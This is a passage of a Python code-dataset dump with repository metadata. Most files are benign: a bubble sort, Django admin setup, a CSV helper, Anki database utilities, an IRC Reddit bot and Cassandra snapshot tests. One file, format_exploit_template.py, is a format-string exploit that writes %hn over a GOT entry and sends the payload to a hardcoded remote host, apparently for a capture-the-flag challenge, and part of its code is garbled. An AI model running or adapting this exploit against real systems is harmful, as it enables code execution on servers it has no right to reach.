Column(Text)\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":624,"cells":{"__id__":{"kind":"number","value":15968688423105,"string":"15,968,688,423,105"},"blob_id":{"kind":"string","value":"908c67ab2e71bd997bb0265126b85e766f5b2d61"},"directory_id":{"kind":"string","value":"6ef3a817a989563538c70f3b9af8aa75f289147f"},"path":{"kind":"string","value":"/bublesort.py"},"content_id":{"kind":"string","value":"3c5ba52885d95977aa2473581be5a59f9100bb30"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only"],"string":"[\n \"GPL-2.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"papoon/Python"},"repo_url":{"kind":"string","value":"https://github.com/papoon/Python"},"snapshot_id":{"kind":"string","value":"482b39ba9a0dc4e65c2a2b1e5121b7ebb4d0aa1e"},"revision_id":{"kind":"string","value":"d40e1f651a0b508512fd71c3114989c456ba4db0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-06-04T06:07:43.661794","string":"2020-06-04T06:07:43.661794"},"revision_date":{"kind":"timestamp","value":"2014-12-27T14:24:16","string":"2014-12-27T14:24:16"},"committer_date":{"kind":"timestamp","value":"2014-12-27T14:24:16","string":"2014-12-27T14:24:16"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import sys\n\ntest_cases = open(sys.argv[1], 'r')\nfor test in test_cases:\n\tlist_elements = test.rstrip().split(\"|\")\n\n\t\n\n\tlista_sort = [int(x) for x in list_elements[0].split(\" \")if x != '']\n\tnunber_sort = [int(x) for x in list_elements[1].split(\" \")if x != '']\n\n\t\n\t\n\t\n\tsorte = False\n\tfor k in range(nunber_sort[0]):\n\t #sorte = True\n\t\tfor i in range(len(lista_sort)-1):\n\t\t\tif lista_sort[i] > lista_sort[i+1]:\n\t\t\t\t#sorte = True\n\t\t\t\tlista_sort[i], lista_sort[i+1] = lista_sort[i+1], lista_sort[i]\n\n\tfor x in lista_sort:\n\t\tprint x,\n\tprint \"\\r\"\n\ntest_cases.close()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":625,"cells":{"__id__":{"kind":"number","value":5841155567060,"string":"5,841,155,567,060"},"blob_id":{"kind":"string","value":"345acecaf1ddb2d3872b33fbda6b5e8be09f21eb"},"directory_id":{"kind":"string","value":"1d669ecc4d06de86064d0ab906fdf04c4722b7df"},"path":{"kind":"string","value":"/apps/userprofile/admin.py"},"content_id":{"kind":"string","value":"a39fe800c23925f2034a1e78c511aadf7eceaecc"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"billcc/EXAMENN2"},"repo_url":{"kind":"string","value":"https://github.com/billcc/EXAMENN2"},"snapshot_id":{"kind":"string","value":"2d2ceb0147fa4f117aa8ce4c28abd707caa800b1"},"revision_id":{"kind":"string","value":"30b602985d98e8bbf1691f469eb8e5d56ce2494e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-06T20:46:14.803099","string":"2021-01-06T20:46:14.803099"},"revision_date":{"kind":"timestamp","value":"2014-11-06T22:57:19","string":"2014-11-06T22:57:19"},"committer_date":{"kind":"timestamp","value":"2014-11-06T22:57:19","string":"2014-11-06T22:57:19"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.contrib import admin\nfrom .models import UserProfile\n\n\n# Register your models here.admin.site.register(Author, AuthorAdmin)\nadmin.site.register(UserProfile)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":626,"cells":{"__id__":{"kind":"number","value":4793183529388,"string":"4,793,183,529,388"},"blob_id":{"kind":"string","value":"a7240fe0603a557e5fa66944fe8ef3b6478a35bf"},"directory_id":{"kind":"string","value":"ab642369b649c053f43ed571e8890c3493d2b855"},"path":{"kind":"string","value":"/stashdata/writetocsv.py"},"content_id":{"kind":"string","value":"78603fa2932336c2c35c14adf5899cdba5a88372"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"steven-cutting/collectdata"},"repo_url":{"kind":"string","value":"https://github.com/steven-cutting/collectdata"},"snapshot_id":{"kind":"string","value":"7dc507e200068111b20713dd90076c97fbe68078"},"revision_id":{"kind":"string","value":"0c56eec3fb58cd8eb26b490d7541174b585ee431"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2015-08-17T20:09:15.607086","string":"2015-08-17T20:09:15.607086"},"revision_date":{"kind":"timestamp","value":"2014-12-12T11:59:47","string":"2014-12-12T11:59:47"},"committer_date":{"kind":"timestamp","value":"2014-12-12T11:59:47","string":"2014-12-12T11:59:47"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"__title__ = 'collectdata'\n__license__ = 'MIT'\n__author__ = 'Steven Cutting'\n__author_email__ = 'steven.c.projects@gmail.com'\n__created_on__ = '11/18/2014'\n\n\n# TODO (steven_c): Make all of this less lame.\n# TODO (steven_c): Make all of this into a class that can is not so \"specialized\".\n\n\nfrom misccode import miscfunctions as mfunc\n\nimport sys\nfrom os.path import expanduser\nimport os.path\n\nimport time\n\ndef writefile(thefile, thingtowrite, writetype='a'):\n with open(thefile, 'a') as f:\n data = (\"\\n{}\".format(thingtowrite))\n f.write(data)\n\n\ndef appendtocsv(filepath, filename, linetowrite, filetype='.csv',\n createfile='yes', fileheader=''):\n\n fullfilename = buildfilestr(filepath, filename, filetype)\n\n line = (\"\\n{}\".format(linetowrite))\n\n if os.path.isfile(fullfilename):\n with open(fullfilename, 'a') as f:\n f.write(line)\n return fullfilename\n else:\n if createfile.lower() == 'yes':\n with open(fullfilename, 'w+') as f:\n f.write(fileheader + line)\n return filename\n else:\n print \"\\nERROR! File or directory do not exist:\\n{}\\n\".format(\n fullfilename)\n raise IOError\n\n\ndef buildfilestr(filepath, filename, filetype):\n path = filepath.replace('~', expanduser('~'))\n i = filename\n g = i.replace(' ', '')\n f = g.replace('/', 'vs')\n return ''.join([path, f, filetype]) # May change method.\n\n\ndef buildfilestr_list(location, filenamearray, filetype):\n listoffiles = []\n for i in filenamearray:\n filestr = buildfilestr(location, filename=i[0], filetype=filetype)\n listoffiles.append(filestr)\n return listoffiles\n\n\ndef fileheader(infotuple, columnnames='', aboutdata=''):\n currenttime = time.strftime('%b %d, %Y %l:%M%p')\n firstbit = \"Name: {}, Symbol: {}, Delay Correction(minutes): {}\"\n\n headerlist = [firstbit.format(infotuple[0],\n infotuple[1],\n infotuple[2],\n ),\n \"Created: {}\".format(currenttime),\n aboutdata,\n columnnames,\n ]\n headerstring = mfunc.build_delim_line(headerlist, delimiter='\\n')\n\n return headerstring\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":627,"cells":{"__id__":{"kind":"number","value":9517647530146,"string":"9,517,647,530,146"},"blob_id":{"kind":"string","value":"1bb2ce0ec3eb2caca423b308e5dfbfbf7211261c"},"directory_id":{"kind":"string","value":"ec398a3a2625863a18c1cd9ede9fd7497ccd443c"},"path":{"kind":"string","value":"/lib/shellcode/format_exploit_template.py"},"content_id":{"kind":"string","value":"9302f1d419fb799ba5d24eebec686c464e8b65f6"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only"],"string":"[\n \"GPL-2.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"Trietptm-on-Security/ledt"},"repo_url":{"kind":"string","value":"https://github.com/Trietptm-on-Security/ledt"},"snapshot_id":{"kind":"string","value":"ff55d45b5c3d3db31ddc74e4fb501ffc0b327342"},"revision_id":{"kind":"string","value":"1f08cc056b1a99d37292fe36a9d699cd0cfd4ede"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2017-12-06T04:44:12.725788","string":"2017-12-06T04:44:12.725788"},"revision_date":{"kind":"timestamp","value":"2014-05-19T18:01:54","string":"2014-05-19T18:01:54"},"committer_date":{"kind":"timestamp","value":"2014-05-19T18:01:54","string":"2014-05-19T18:01:54"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/bin/env python\r\n#encoding:utf-8\r\nfrom struct import pack\r\nfrom socket import *\r\nimport time\r\nimport sys\r\n\r\ndef formatMaker(overwrite_ip , offset , shellcodeAddr):\r\n\t\"\"\"\r\n\toverwrite_ip \t: address to overwrite, such as \"exit\" address in .got section \r\n\toffset \t\t\t:\toffset from high mem which contains foramt string to low mem which save the printf's first argv \r\n\tshellcodeAddr \t: maybe a shellcode address in mem\r\n\t\"\"\"\r\n\tshellcodeAddr_h = (shellcodeAddr >> 16 )\r\n\tshellcodeAddr_l = (shellcodeAddr & 0x0000FFFF )\r\n\t#print shellcodeAddr_l\r\n\toverwrite_ip_h = pack(\" shellcodeAddr_h:\r\n\t\tformat = overwrite_ip_h + overwrite_ip_l +\\\r\n\t\t\t\t'%' + str(shellcodeAddr_h - 4 -4 ) +'c' + '%' + str(offset) + '$hn' +\\\r\n\t\t\t\t'%' + str(shellcodeAddr_l-shellcodeAddr_h) +'c' + '%' + str(offset+1) + '$hn' \r\n\telse:\r\n\t\tformat = overwrite_ip_h + overwrite_ip_l + \\\r\n\t\t'%' + str(shellcodeAddr_l - 4 -4 ) +'c' + '%' + str(offset+1) + '$hn' + \\\r\n\t\t'%' + str(shellcodeAddr_h-shellcodeAddr_l) +'c' + '%' + str(offset) + '$hn' \r\n\treturn format\r\n\r\n\r\n\r\n\r\nif \"__main__\" == __name__:\r\n\r\n\texit_got = 0x804a044\t\t\t\t# \"exit()\" address in got\r\n\ttarget_eip = 0x0804888c\t\t\t\t# func \"yoyo()\" in printf\r\n\toffset = 80/4 - 1 \r\n\tformat = formatMaker(exit_got , 80/4 - 1 , target_eip)\r\n\r\n\tname = \"random\\n\"\r\n\tdate = \"2014-03-01\\n\"\r\n\tip = \"202.120.7.4\"\r\n\tport = 34782\r\n\tServerAddr = {'host':ip,'port':port}\r\n\tClientSock = socket(AF_INET , SOCK_STREAM)\r\n\tClientSock.connect(tuple(ServerAddr.values()))\r\n\tClientSock.send(name)\r\n\tClientSock.send(format+\"\\n\")\r\n\tClientSock.send(date)\r\n\twhile(1):\r\n\t\tresult = ClientSock.recv(512)\r\n\t\tif not result:\r\n\t\t\tbreak\r\n\t\tprint result\r\n\tClientSock.close()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":628,"cells":{"__id__":{"kind":"number","value":3393024182343,"string":"3,393,024,182,343"},"blob_id":{"kind":"string","value":"1287665dd14ce157795b80ea281a46621ea5fb04"},"directory_id":{"kind":"string","value":"3a752f11ac166ac35735f7f9359739f89b76966f"},"path":{"kind":"string","value":"/anki_x/anki_db.py"},"content_id":{"kind":"string","value":"dcb139bc0f30a99eb3fe989b8eaaacbd2eedb4e6"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"xmasotto/xsl4a"},"repo_url":{"kind":"string","value":"https://github.com/xmasotto/xsl4a"},"snapshot_id":{"kind":"string","value":"b5cd9b3c9cbf51de8e8d5794b0b7cc17f709beec"},"revision_id":{"kind":"string","value":"48b6261e8ec64493af60337fb402ccd359f8c300"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-22T13:46:54.281887","string":"2021-01-22T13:46:54.281887"},"revision_date":{"kind":"timestamp","value":"2014-02-25T01:53:27","string":"2014-02-25T01:53:27"},"committer_date":{"kind":"timestamp","value":"2014-02-25T01:53:27","string":"2014-02-25T01:53:27"},"github_id":{"kind":"number","value":15953960,"string":"15,953,960"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python2\nimport sys\nimport os\nimport json\nfrom anki_util import int_time\n\np = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(p + \"/..\")\nimport sqlite_server\n\ndef init(db):\n sqlite_server.load(os.path.abspath(db), \"db\")\n\n# Load deck from db.\ndef get_deck(deckname):\n decks_json = sqlite_server.query(\"select decks from db.col\")[0][0]\n decks = json.loads(decks_json)\n for deck in decks.values():\n if deck[\"name\"] == deckname:\n return deck\n return None\n\n# Create deck in db if it doesn't already exist.\ndef create_deck(deckname):\n decks_json = sqlite_server.query(\"select decks from db.col\")[0][0]\n decks = json.loads(decks_json)\n for deck in decks.values():\n if deck[\"name\"] == deckname:\n return deck\n\n deck_id = str(int_time(1000))\n new_deck = decks[\"1\"].copy()\n new_deck[\"name\"] = deckname\n new_deck[\"id\"] = deck_id\n decks[deck_id] = new_deck\n\n sqlite_server.query(\"update db.col set decks=?;\", json.dumps(decks))\n return new_deck\n\n# Add a card (tuple of two strings, front/back) to the given deck.\n# Returns the note id of the new card.\ndef add_card(deck, card):\n # Find the basic model\n models_json = sqlite_server.query(\"select models from db.col\")[0][0]\n models = json.loads(models_json)\n nid = str(int_time(1000))\n did = deck[\"id\"]\n mid = -1\n for model in models.values():\n if model[\"name\"] == \"Basic\":\n mid = model[\"id\"]\n\n # Insert note and card into database\n flds = card[0] + \"\\x1f\" + card[1]\n sqlite_server.query(\n \"insert into db.notes values (?,?,?,?,?,?,?,?,?,?,?)\",\n nid,\n str(int_time(1000))[-5:],\n mid,\n int_time(1),\n -1,\n \"\",\n flds,\n card[0],\n 0,\n 0,\n \"\");\n sqlite_server.query(\n \"insert into db.cards values (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\",\n int_time(1000),\n nid,\n did,\n 0,\n int_time(1),\n -1,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \"\")\n return nid\n\n# Delete the given card (tuple of two strings, front/back)\ndef delete_card(nid):\n sqlite_server.query(\"delete from db.notes where id=?\", nid)\n sqlite_server.query(\"delete from db.cards where nid=?\", nid)\n\n# Get a list of note id's belonging to the default deck (which should be empty)\ndef get_default_cards():\n result = sqlite_server.query(\n \"select nid from db.cards where did='1'\")\n return [x[0] for x in result]\n\n# Since Anki sometimes randomly changes the deck_id to 1, occasionally\n# we have to fix the deck_id.\n# Changes the deck_id of the card with the given node_id.\ndef fix_deck_id(note_id, deck_id):\n sqlite_server.query(\n \"update db.cards set did=? where nid=?\",\n deck_id,\n note_id)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":629,"cells":{"__id__":{"kind":"number","value":12292196401773,"string":"12,292,196,401,773"},"blob_id":{"kind":"string","value":"5c2d6db43673626a678d39b7dddc271151efa44d"},"directory_id":{"kind":"string","value":"02ade5a52f180fb75e7321751f890d18a7ed597a"},"path":{"kind":"string","value":"/plugins/hitze.py"},"content_id":{"kind":"string","value":"cde57b3196274e15d371e6c004e19344bbeb9a49"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"hitzler/homero"},"repo_url":{"kind":"string","value":"https://github.com/hitzler/homero"},"snapshot_id":{"kind":"string","value":"3edcc4dc5db740926402936c177546927e5e26fd"},"revision_id":{"kind":"string","value":"b13fd114ecc34c1946e56ac77e34303385cfe859"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-24T01:41:32.715078","string":"2021-01-24T01:41:32.715078"},"revision_date":{"kind":"timestamp","value":"2013-10-07T16:20:34","string":"2013-10-07T16:20:34"},"committer_date":{"kind":"timestamp","value":"2013-10-07T16:20:34","string":"2013-10-07T16:20:34"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import simplejson as json\nimport random\nfrom util import hook\nfrom util import http\n\n@hook.command\ndef city(inp):\n jsonData = http.get_json('http://www.reddit.com/r/cityporn/.json')\n j= random.choice(jsonData['data']['children'])['data']\n return j['title'] + ' ' + j['url']\n\n@hook.command\ndef hyle(inp, say=None):\n subreddit = [\n \"conspiracy\",\n \"twinpeaks\",\n \"mensrights\",\n \"crime\",\n ]\n\n if random.random() > 0.1:\n jsonData = http.get_json('http://www.reddit.com/r/' + random.choice(subreddit) + '/.json')\n say(' ' + random.choice(jsonData['data']['children'])['data']['title'].lower())\n else:\n jsonData = http.get_json('http://www.reddit.com/r/ass.json')\n say(' ' + random.choice(jsonData['data']['children'])['data']['url'])\n say(' ass like that')\n\n@hook.regex('oh my god')\ndef omg(inp, say=None):\n say('oh. my. god.');\n\n@hook.command\ndef hitze(inp):\n hitzelist = [\n \"ahahaaha\",\n \"lol\",\n \"heh\",\n \"omg.\",\n \"uugh\",\n \"why..\",\n \"lol pcgaming\",\n \"rip\",\n \"sperg\",\n \"omg hyle\",\n ]\n\n subreddit = [\n \"pics\",\n \"wtf\",\n \"cityporn\",\n \"gaming\",\n \"minecraftcirclejerk\",\n \"gifs\",\n \"nba\",\n\n ]\n\n noSelf = False\n while noSelf == False:\n jsonData = http.get_json('http://www.reddit.com/r/' + random.choice(subreddit) + '/.json')\n potentialURL = random.choice(jsonData['data']['children'])['data']['url']\n if 'reddit' in potentialURL:\n noSelf = False\n else:\n noSelf = True\n\n return \" \" + potentialURL + \" \" + random.choice(hitzelist)\n\ndef checkURL(url):\n params = urllib.urlencode({'q':'url:' + url})\n url = \"http://www.reddit.com/search.json?%s\" % params\n jsan = json.load(urllib2.urlopen(url))\n if len(jsan['data']['children']) > 0:\n return True\n return False\n\n\n#@hook.event('PRIVMSG')\ndef hitze_event(paraml, say=None, nick=None):\n if 'hitz' in nick.lower() and 'http://' in paraml[1]:\n if checkURL(paraml[1]):\n say('/!\\\\ REDDIT ALERT /!\\\\ REDDIT ALERT /!\\\\ PLEASE DISREGARD THE PREVIOUS MESSAGE. WE APOLOGISE FOR ANY LIBERTARIANS ENCOUNTERED')\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":630,"cells":{"__id__":{"kind":"number","value":420906822987,"string":"420,906,822,987"},"blob_id":{"kind":"string","value":"9929717be638ed3ca754538ffabf767724e07a68"},"directory_id":{"kind":"string","value":"90494348f48eb70d56188eba88aff1e4861dbd9e"},"path":{"kind":"string","value":"/snapshot_test.py"},"content_id":{"kind":"string","value":"509bd3971136938a205f01767f3602e4b0a91961"},"detected_licenses":{"kind":"list like","value":["Apache-2.0"],"string":"[\n \"Apache-2.0\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"Mishail/cassandra-dtest"},"repo_url":{"kind":"string","value":"https://github.com/Mishail/cassandra-dtest"},"snapshot_id":{"kind":"string","value":"3b6496e2769c7fbe85acae935c7a2db16dab2a5f"},"revision_id":{"kind":"string","value":"33d648066df3f34a42035397fb366540784b6139"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-21T02:22:02.202227","string":"2021-01-21T02:22:02.202227"},"revision_date":{"kind":"timestamp","value":"2014-04-08T21:48:41","string":"2014-04-08T21:48:41"},"committer_date":{"kind":"timestamp","value":"2014-04-08T21:48:41","string":"2014-04-08T21:48:41"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from dtest import Tester, debug\nfrom tools import replace_in_file\nimport tempfile\nimport shutil\nimport glob\nimport os\n\nclass SnapshotTester(Tester):\n def insert_rows(self, cursor, start, end):\n for r in range(start, end):\n cursor.execute(\"INSERT INTO ks.cf (key, val) VALUES ({r}, 'asdf');\".format(r=r))\n\n def make_snapshot(self, node, ks, cf, name):\n debug(\"Making snapshot....\")\n node.flush()\n node.nodetool('snapshot {ks} -cf {cf} -t {name}'.format(**locals()))\n tmpdir = tempfile.mkdtemp()\n os.mkdir(os.path.join(tmpdir,ks))\n os.mkdir(os.path.join(tmpdir,ks,cf))\n node_dir = node.get_path()\n \n # Find the snapshot dir, it's different in various C* versions:\n snapshot_dir = \"{node_dir}/data/{ks}/{cf}/snapshots/{name}\".format(**locals())\n if not os.path.isdir(snapshot_dir):\n snapshot_dir = glob.glob(\"{node_dir}/flush/{ks}/{cf}-*/snapshots/{name}\".format(**locals()))[0]\n debug(\"snapshot_dir is : \" + snapshot_dir)\n debug(\"snapshot copy is : \" + tmpdir)\n\n os.system('cp -a {snapshot_dir}/* {tmpdir}/{ks}/{cf}/'.format(**locals()))\n return tmpdir\n\n def restore_snapshot(self, snapshot_dir, node, ks, cf):\n debug(\"Restoring snapshot....\")\n node_dir = node.get_path()\n snapshot_dir = os.path.join(snapshot_dir, ks, cf)\n ip = node.address()\n os.system('{node_dir}/bin/sstableloader -d {ip} {snapshot_dir}'.format(**locals()))\n\nclass TestSnapshot(SnapshotTester):\n\n def __init__(self, *args, **kwargs):\n Tester.__init__(self, *args, **kwargs)\n\n def test_basic_snapshot_and_restore(self):\n cluster = self.cluster\n cluster.populate(1).start()\n (node1,) = cluster.nodelist()\n cursor = self.patient_cql_connection(node1).cursor()\n self.create_ks(cursor, 'ks', 1)\n cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);')\n\n self.insert_rows(cursor, 0, 100)\n snapshot_dir = self.make_snapshot(node1, 'ks', 'cf', 'basic')\n\n # Drop the keyspace, make sure we have no data:\n cursor.execute('DROP KEYSPACE ks')\n self.create_ks(cursor, 'ks', 1)\n cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);')\n cursor.execute('SELECT count(*) from ks.cf')\n self.assertEqual(cursor.fetchone()[0], 0)\n\n # Restore data from snapshot:\n self.restore_snapshot(snapshot_dir, node1, 'ks', 'cf')\n node1.nodetool('refresh ks cf')\n cursor.execute('SELECT count(*) from ks.cf')\n self.assertEqual(cursor.fetchone()[0], 100)\n \n shutil.rmtree(snapshot_dir)\n\nclass TestArchiveCommitlog(SnapshotTester):\n def __init__(self, *args, **kwargs):\n kwargs['cluster_options'] = {'commitlog_segment_size_in_mb':1}\n Tester.__init__(self, *args, **kwargs)\n\n def test_archive_commitlog(self):\n cluster = self.cluster\n cluster.populate(1)\n (node1,) = cluster.nodelist()\n\n # Create a temp directory for storing commitlog archives:\n tmp_commitlog = tempfile.mkdtemp()\n debug(\"tmp_commitlog: \" + tmp_commitlog)\n\n # Edit commitlog_archiving.properties and set an archive\n # command:\n replace_in_file(os.path.join(node1.get_path(),'conf','commitlog_archiving.properties'),\n [(r'^archive_command=.*$', 'archive_command=/bin/cp %path {tmp_commitlog}/%name'.format(\n tmp_commitlog=tmp_commitlog))])\n\n cluster.start()\n\n cursor = self.patient_cql_connection(node1).cursor()\n self.create_ks(cursor, 'ks', 1)\n cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);')\n\n self.insert_rows(cursor, 0, 30000)\n\n # Delete all commitlog backups so far:\n os.system('rm {tmp_commitlog}/*'.format(tmp_commitlog=tmp_commitlog))\n\n snapshot_dir = self.make_snapshot(node1, 'ks', 'cf', 'basic')\n\n # Write more data:\n self.insert_rows(cursor, 30000, 60000)\n\n node1.nodetool('flush')\n node1.nodetool('compact')\n\n # Check that there are at least one commit log backed up that\n # is not one of the active commit logs:\n commitlog_dir = os.path.join(node1.get_path(), 'commitlogs')\n debug(\"node1 commitlog dir: \" + commitlog_dir)\n self.assertTrue(len(set(os.listdir(tmp_commitlog)) - set(os.listdir(commitlog_dir))) > 0)\n \n # Copy the active commitlogs to the backup directory:\n for f in glob.glob(commitlog_dir+\"/*\"):\n shutil.copy2(f, tmp_commitlog)\n\n # Drop the keyspace, restore from snapshot:\n cursor.execute(\"DROP KEYSPACE ks\")\n self.create_ks(cursor, 'ks', 1)\n cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);')\n self.restore_snapshot(snapshot_dir, node1, 'ks', 'cf')\n cursor.execute('SELECT count(*) from ks.cf')\n # Make sure we have the same amount of rows as when we snapshotted:\n self.assertEqual(cursor.fetchone()[0], 30000)\n \n\n # Edit commitlog_archiving.properties. Remove the archive\n # command and set a restore command and restore_directories:\n replace_in_file(os.path.join(node1.get_path(),'conf','commitlog_archiving.properties'),\n [(r'^archive_command=.*$', 'archive_command='),\n (r'^restore_command=.*$', 'restore_command=cp -f %from %to'),\n (r'^restore_directories=.*$', 'restore_directories={tmp_commitlog}'.format(\n tmp_commitlog=tmp_commitlog))])\n node1.stop()\n node1.start()\n\n cursor = self.patient_cql_connection(node1).cursor()\n cursor.execute('SELECT count(*) from ks.cf')\n # Now we should have 30000 rows from the snapshot + 30000 rows\n # from the commitlog backups:\n self.assertEqual(cursor.fetchone()[0], 60000)\n\n shutil.rmtree(snapshot_dir)\n 